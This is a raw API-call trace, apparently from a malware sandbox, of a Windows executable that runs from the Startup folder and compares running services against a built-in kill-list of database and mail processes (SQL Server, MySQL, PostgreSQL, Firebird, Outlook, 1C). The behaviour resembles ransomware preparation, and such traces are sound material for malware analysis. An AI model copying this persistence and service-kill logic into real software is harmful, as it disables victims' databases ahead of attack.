	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6391b0
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12) returned 0x5e63c0
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6391c8
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639180
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639270
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6390f0
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639030
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639000
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639288
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6391f8
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639198
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639078
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6390d8
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639090
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6392e8
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639210
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6391e0
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639048
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639d60
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639c70
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639b20
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639d18
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639bb0
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639c88
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639c40
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x639bc8
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639b80
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f178
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639be0
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f1a8
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639b68
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639b98
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639ca0
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639b08
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639cd0
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639df0
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639b38
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639b50
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639c10
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639cb8
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639d30
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639c28
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639dc0
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639ce8
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f1b8
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639bf8
	[0184.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639d00
	[0184.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6277b8 | out: hHeap=0x5d0000) returned 1
	[0184.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63ac38 | out: hHeap=0x5d0000) returned 1
	[0184.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63abf0 | out: hHeap=0x5d0000) returned 1
	[0184.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6141d8 | out: hHeap=0x5d0000) returned 1
	[0184.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7ba8 | out: hHeap=0x5d0000) returned 1
	[0184.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60ef68 | out: hHeap=0x5d0000) returned 1
	[0184.695] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x63aff0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe")) returned 0x47
	[0184.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63aff0 | out: hHeap=0x5d0000) returned 1
	[0184.695] lstrlenW (lpString="fvppjh.exe") returned 10
	[0184.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6160a8 | out: hHeap=0x5d0000) returned 1
	[0184.695] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x63aff0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0184.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x64aff8 | out: hHeap=0x5d0000) returned 1
	[0184.696] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63aff0 | out: hHeap=0x5d0000) returned 1
	[0184.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60edb0 | out: hHeap=0x5d0000) returned 1
	[0184.697] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0184.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6287c0 | out: hHeap=0x5d0000) returned 1
	[0184.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6160a8 | out: hHeap=0x5d0000) returned 1
	[0184.697] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x6277b8, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0184.697] lstrlenW (lpString="C:\\") returned 3
	[0184.697] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0184.697] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6277b8 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f2e8 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6279d0 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63ae60 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x613e20 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63af80 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x614260 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63af38 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6163f0 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63ae30 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6277b8 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63ae90 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616360 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63af98 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f338 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63ace0 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6160a8 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63af68 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6278c8 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63ae78 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f378 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x63af20 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e5648 | out: hHeap=0x5d0000) returned 1
	[0184.699] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e60a0 | out: hHeap=0x5d0000) returned 1
	[0184.700] lstrlenW (lpString="%systemdrive%") returned 13
	[0184.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f030 | out: hHeap=0x5d0000) returned 1
	[0184.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x614480 | out: hHeap=0x5d0000) returned 1
	[0184.700] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f2c8 | out: hHeap=0x5d0000) returned 1
	[0184.700] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x617798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260
	[0184.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6297c0 | out: hHeap=0x5d0000) returned 1
	[0184.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65d3f8 | out: hHeap=0x5d0000) returned 1
	[0184.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65d3f8 | out: hHeap=0x5d0000) returned 1
	[0184.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x614590 | out: hHeap=0x5d0000) returned 1
	[0184.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e7698 | out: hHeap=0x5d0000) returned 1
	[0184.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60edd8 | out: hHeap=0x5d0000) returned 1
	[0184.701] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x65dc38, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe")) returned 0x47
	[0184.701] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65dc38 | out: hHeap=0x5d0000) returned 1
	[0184.701] lstrlenW (lpString="fvppjh.exe") returned 10
	[0184.702] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6160a8 | out: hHeap=0x5d0000) returned 1
	[0184.702] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x65dc38, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc
	[0184.702] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66dc40 | out: hHeap=0x5d0000) returned 1
	[0184.702] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65dc38 | out: hHeap=0x5d0000) returned 1
	[0184.705] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60f030 | out: hHeap=0x5d0000) returned 1
	[0184.705] lstrlenW (lpString="C:\\WINDOWS;") returned 11
	[0184.705] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x64b010 | out: hHeap=0x5d0000) returned 1
	[0184.705] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6160a8 | out: hHeap=0x5d0000) returned 1
	[0184.705] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x64b010, nSize=0x7fff | out: lpDst="C:") returned 0x3
	[0184.705] lstrlenW (lpString="C:\\") returned 3
	[0184.705] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0184.706] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x64b010 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c260 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6297c0 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c540 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x614150 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c648 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x613c00 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c6f0 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6163f0 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c4e0 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616138 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c4b0 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616360 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c678 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c370 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c6a8 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6160a8 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c510 | out: hHeap=0x5d0000) returned 1
	[0184.707] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616248 | out: hHeap=0x5d0000) returned 1
	[0184.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c600 | out: hHeap=0x5d0000) returned 1
	[0184.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c300 | out: hHeap=0x5d0000) returned 1
	[0184.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c480 | out: hHeap=0x5d0000) returned 1
	[0184.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e5648 | out: hHeap=0x5d0000) returned 1
	[0184.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x5e65e0 | out: hHeap=0x5d0000) returned 1
	[0184.708] lstrlenW (lpString="%systemdrive%") returned 13
	[0184.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60ec98 | out: hHeap=0x5d0000) returned 1
	[0184.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x613c88 | out: hHeap=0x5d0000) returned 1
	[0184.708] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x65c2e0 | out: hHeap=0x5d0000) returned 1
	[0184.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x63aff0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x270
	[0184.708] WaitForMultipleObjects (nCount=0x2, lpHandles=0x5eabe8*=0x260, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 83
	os_tid = 0xf94


Thread:
	id = 85
	os_tid = 0xfa8

	[0184.787] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x65c648
	[0184.787] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65c648, Size=0x20) returned 0x60eba8
	[0184.787] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60eba8, Size=0x40) returned 0x5e7800
	[0184.787] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7800, Size=0x80) returned 0x614508
	[0184.788] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614508, Size=0x100) returned 0x62c1d8
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x65c4e0
	[0184.788] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65c4e0, Size=0x20) returned 0x60ea40
	[0184.788] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60ea40, Size=0x40) returned 0x5e7800
	[0184.788] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7800, Size=0x80) returned 0x613af0
	[0184.788] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x613af0, Size=0x100) returned 0x62c0d0
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65c480
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x65c370
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x65c648
	[0184.788] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65c370, Size=0x8) returned 0x65c3f0
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5e6580
	[0184.788] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65c3f0, Size=0x10) returned 0x65c4c8
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x5e6800
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x60ed88
	[0184.788] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65c4c8, Size=0x20) returned 0x60ec70
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x60ec98
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16) returned 0x5e66c0
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1a) returned 0x60ea68
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x65c4c8
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x65c340
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x5e7800
	[0184.788] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65c340, Size=0x8) returned 0x65c2d0
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x3c) returned 0x5e74a0
	[0184.788] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65c2d0, Size=0x10) returned 0x65c6f0
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x14) returned 0x5e6720
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x5e65e0
	[0184.788] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x65c6f0, Size=0x20) returned 0x60eb08
	[0184.788] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x24) returned 0x5e5498
	[0184.789] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0184.789] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62c1d8 | out: hHeap=0x5d0000) returned 1
	[0184.789] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0184.789] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x62c0d0 | out: hHeap=0x5d0000) returned 1
	[0184.789] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x60e900
	[0184.789] EnumServicesStatusExW (in: hSCManager=0x60e900, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0184.790] GetLastError () returned 0xea
	[0184.790] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1bc4) returned 0x62e4c0
	[0184.790] EnumServicesStatusExW (in: hSCManager=0x60e900, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x62e4c0, cbBufSize=0x1bc4, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x62e4c0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0184.791] CloseServiceHandle (hSCObject=0x60e900) returned 1
	[0184.791] lstrlenW (lpString="Appinfo") returned 7
	[0184.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0184.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0184.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0184.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0184.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0184.791] lstrlenW (lpString="AppXSvc") returned 7
	[0184.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0184.792] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0184.792] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0184.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0184.792] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0184.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0184.792] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0184.792] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0184.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0184.792] lstrlenW (lpString="Audiosrv") returned 8
	[0184.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0184.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0184.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0184.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0184.792] lstrlenW (lpString="BFE") returned 3
	[0184.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0184.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0184.792] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0184.792] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0184.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0184.792] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0184.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0184.792] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0184.792] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0184.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0184.792] lstrlenW (lpString="CDPSvc") returned 6
	[0184.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0184.793] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0184.793] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0184.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0184.793] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0184.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0184.793] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0184.793] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
